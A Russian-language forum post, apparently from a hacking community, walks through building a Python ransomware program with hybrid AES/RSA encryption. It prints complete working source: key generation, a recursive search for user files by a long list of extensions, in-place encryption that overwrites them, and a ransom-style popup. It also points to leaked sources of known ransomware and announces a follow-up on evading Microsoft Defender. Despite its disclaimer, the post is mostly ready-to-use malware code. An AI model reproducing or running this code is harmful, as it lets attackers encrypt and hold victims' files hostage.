Введение
Приветствую всех!Во время активного изучения python, я нарвался на книгу "Black Hat Python: программирование для хакеров и пентестеров 2-е издание Джастин Зейтц, Тим Арнольд". И там рассматривалось написание шифровальщика с использованием гибридного шифрования, используя лучшие качества симметричной и асимметричной криптографии. AES - это алгоритм симметричного шифра. Симметричным его делает то, что для шифрования и расшифровки применяется один и тот же ключ. Он очень быстрый и способен справляться с большими объемами текста.
И асимметричный шифр RSA, в котором используются открытые/закрытые ключи. Один ключ (обычно открытый) нужен для шифрования, а другой (обычно закрытый) - для расшифровки.
Мы задействуем RSA, чтобы зашифровать единый ключ, применяемый для шифрования с помощью AES. Асимметричная криптография хорошо подходит для небольших наборов информации, что делает ее идеальным решением для шифрования ключа AES. Этот подход, в котором используются оба вида шифрования, называют гибридным, и он очень распространен. Например, он применяется при взаимодействии по TLS между вашим браузером и веб-сервером.
Дисклеймер: данная статья написана для ознакомительных целей. Автор не одобряет и не поощряет использование информации в противозаконных целях. Всю ответственность за ваши действия несёте только вы.
Часть 1
Перед тем как приступить к написанию кода я решил изучить исходники особо нашумевших шифровальщиков написанных на Python.1) Юный программист разместил шифровальщика в репозитории PyPI:
Юный программист разместил шифровальщика в репозитории PyPI «шутки ради»
ссылка на исходник:
RansomWare/Main.py at main · b8ff/RansomWare
2) Специалисты Trend Micro обнаружили шифровальщика PyLocky, который написан на Python и маскируется под известного вымогателя Locky:
Ссылка скрыта от гостей
А вот тут чтобы найти исходник- пришлось включить голову, единственную ссылку на исходный код, что мне удалось найти на Reddit
Ссылка скрыта от гостей
была благополучно удалена.Но мы просто так не сдаемся, вспоминаем приём по поиску удаленной информации из сети и почапали на
Ссылка скрыта от гостей
. И вот чудо, нам удалось найти исходный ко этого шифровальщика!
Ссылка скрыта от гостей
Прежде чем заняться шифрованием и расшифровкой данных, мы должны создать открытый и закрытый ключи для асимметричного алгоритма RSA. То есть нужно написать функцию для генерации RSA-ключей.
Python:
from Cryptodome.PublicKey import RSA
def generate():
new_key = RSA.generate(2048)
private_key = new_key.exportKey()
public_key = new_key.publickey().exportKey()
with open('key.pri', 'wb') as f1:
f1.write(private_key)
with open('key.pub', 'wb') as f2:
f2.write(public_key)
После запуска программы, рядом с ней создадутся два файла с ключами. Нас интересует key.pub, его содержимое нам пригодится в коде нашего шифровальщика.
А вот и сам код шифровальщика!
Python:
from Cryptodome.Cipher import AES, PKCS1_OAEP
from Cryptodome.PublicKey import RSA
from Cryptodome.Random import get_random_bytes
import base64
import zlib
import string
import os
import tkinter
from time import time
ENCRYPTABLE_FILETYPES = [
# GENERAL FORMATS
"dat", "keychain", "sdf", "vcf",
# IMAGE FORMATS
"jpg", "png", "tiff", "tif", "gif", "jpeg", "jif", "jfif", "jp2", "jpx",
"j2k", "j2c", "fpx", "pcd", "bmp", "svg", "3dm", "3ds", "max", "obj",
"dds", "psd", "tga", "thm", "tif", "tiff", "yuv", "ai", "eps", "ps",
"svg", "indd", "pct",
# VIDEO FORMATS
"mp4", "avi", "mkv", "3g2", "3gp", "asf", "flv", "m4v", "mov", "mpg",
"rm", "srt", "swf", "vob", "wmv",
# DOCUMENT FORMATS
"doc", "docx", "txt", "pdf", "log", "msg", "odt", "pages", "rtf", "tex",
"wpd", "wps", "csv", "ged", "key", "pps", "ppt", "pptx", "xml", "json",
"xlsx", "xlsm", "xlsb", "xls", "mht", "mhtml", "htm", "html", "xltx",
"prn", "dif", "slk", "xlam", "xla", "ods", "docm", "dotx", "dotm",
"xps", "ics",
# SOUND FORMATS
"mp3", "aif", "iff", "m3u", "m4a", "mid", "mpa", "wav", "wma",
# EXE AND PROGRAM FORMATS
"msi", "php", "apk", "app", "bat", "cgi", "com", "asp", "aspx", "cer",
"cfm", "css", "htm", "html",
"js", "jsp", "rss", "xhtml", "c", "class", "cpp", "cs", "h", "java",
"lua", "pl", "py", "sh", "sln", "swift",
"vb", "vcxproj",
# GAME FILES
"dem", "gam", "nes", "rom", "sav",
# COMPRESSION FORMATS
"tgz", "zip", "rar", "tar", "7z", "cbr", "deb", "gz", "pkg", "rpm",
"zipx", "iso",
# MISC
"ged", "accdb", "db", "dbf", "mdb", "sql", "fnt", "fon", "otf", "ttf",
"cfg", "prf", "bak", "old", "tmp",
"torrent"
]
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsSAW8KpU0xNpb1dKwMlL
//c09gbAnpN+JvecLTqH9cDjsN1uiqq+WBPpA3qq7o6dBPWGtlUsTW+llt8XQDv2
cV5R0SHnq1WiOxz5Jm1T1T0xvYobF/tuluXWmzk8c77Jff8csycipbXnkEvjSfFs
KkSVxBwcz46oBXLGeCOSjYv39BjBmJF67bkJkmXFlOL9lKgD6fU2pXlluoxlxNM/
0q14J3UZf/avbJ9CLfZ1BCmBAocRlCVJ01NQLf+2s4CqXjkiDnqJ1TMJ6n0KoJIB
MMHSLxBqPmSarmm2ylcqv5UQs4SGU/rDyQT/JSPmqnA2lJ/kxj5oKqccwarwme2C
kQIDAQAB
-----END PUBLIC KEY-----"""
class ClsCrypt:
@staticmethod
def get_rsa_cipher(key):
# Получение rsa ключа
rsakey = RSA.importKey(key)
return PKCS1_OAEP.new(rsakey), rsakey.size_in_bytes()
def crypt_file(self, plaintext):
# Шифрование файла
compressed_text = zlib.compress(plaintext)
session_key = get_random_bytes(16)
cipher_aes = AES.new(session_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(compressed_text)
cipher_rsa, _ = self.get_rsa_cipher(public_key)
encrypted_session_key = cipher_rsa.encrypt(session_key)
msg_payload = encrypted_session_key + cipher_aes.nonce + tag + ciphertext
encrypted = base64.encodebytes(msg_payload)
return encrypted
def exfiltrate(self, document_path):
# Перезапись файла
with open(document_path, 'rb') as f0:
contents = f0.read()
with open(document_path, 'wb') as f1:
f1.write(self.crypt_file(contents))
@staticmethod
def check_system_disk():
# Поиск системной папки пользователя
# для наглядности в конце добавляем расположение папки для теста программы
for c in string.ascii_uppercase:
system_disk = f"{c}:\\Users\\{os.getlogin()}"
if os.path.isdir(system_disk):
return system_disk + "\\Desktop\\test"
@staticmethod
def check_files(dir_crypt):
# Рекурсивный поиск файлов в указанном каталоге с учетом
# расширений ENCRYPTABLE_FILETYPES
result = []
try:
for dirpath, dirnames, filenames in os.walk(dir_crypt):
for i in filenames:
fi, ext = os.path.splitext(i)
ext = ext[1:]
if ext in ENCRYPTABLE_FILETYPES:
result.append(f"{os.path.join(dirpath, i)}")
except OSError:
pass
return result
@staticmethod
def window(time, count):
# Всплывающее окно с информацией о выполнении программы
window = tkinter.Tk()
window.overrideredirect(True)
window.attributes("-topmost", True)
window.geometry(f"900x430")
window.config(bg="gray10", relief="flat")
window.title("Ooops...")
label_1 = tkinter.Label(window, text="err0rtic :)", font=("Arial", 20), fg="red")
label_1.place(x=450, y=48, anchor="center")
label_2 = tkinter.Label(window, text=f'File encryption was successful\nTime encryption: {time}\n' + f'Count file encryption: {count}\n',
font=("Arial", 20), fg="red", bg="gray10")
label_2.place(x=450, y=130, anchor="center")
try:
window.mainloop()
except:
pass
def run(self):
# Запуск шифрования
sys_disk = self.check_system_disk()
list_file = self.check_files(sys_disk)
start_time = time()
for i in list_file:
self.exfiltrate(i)
time_result = time() - start_time
return time_result, len(list_file)
if __name__ == '__main__':
Crypt = ClsCrypt()
time, count = Crypt.run()
Crypt.window(time, count)
Испытание
Для тестов использовал готовую виртуальную машину под Virtualbox.
Ссылка скрыта от гостей
тк был ограничен в мощностях, смог выделить только 2 ядра и 4 гб
Для проведения тестов я ограничился папкой на рабочем столе test, куда было закинуто 2гб фото и музыки
По завершению работы появляется всплывающее окно с информацией о выполнении программы.
Спойлер
Знаю, что подобных статей кругом полно, основная фишка будет раскрыта во второй части статьи. В ней я буду прикручивать multiprocessing к данному коду, чтобы ускорить шифрование в разы, покажу как это скомпилить в exe (там есть интересный ньюанс для multiprocessing) и покажу вам, как можно обойти защиту Microsoft Defender.P.S т.к. на виртуалке всего два ядра, увеличить скорость шифрования удалось почти в два раза
На этом всё, буду рад любому фитбеку!
Последнее редактирование модератором: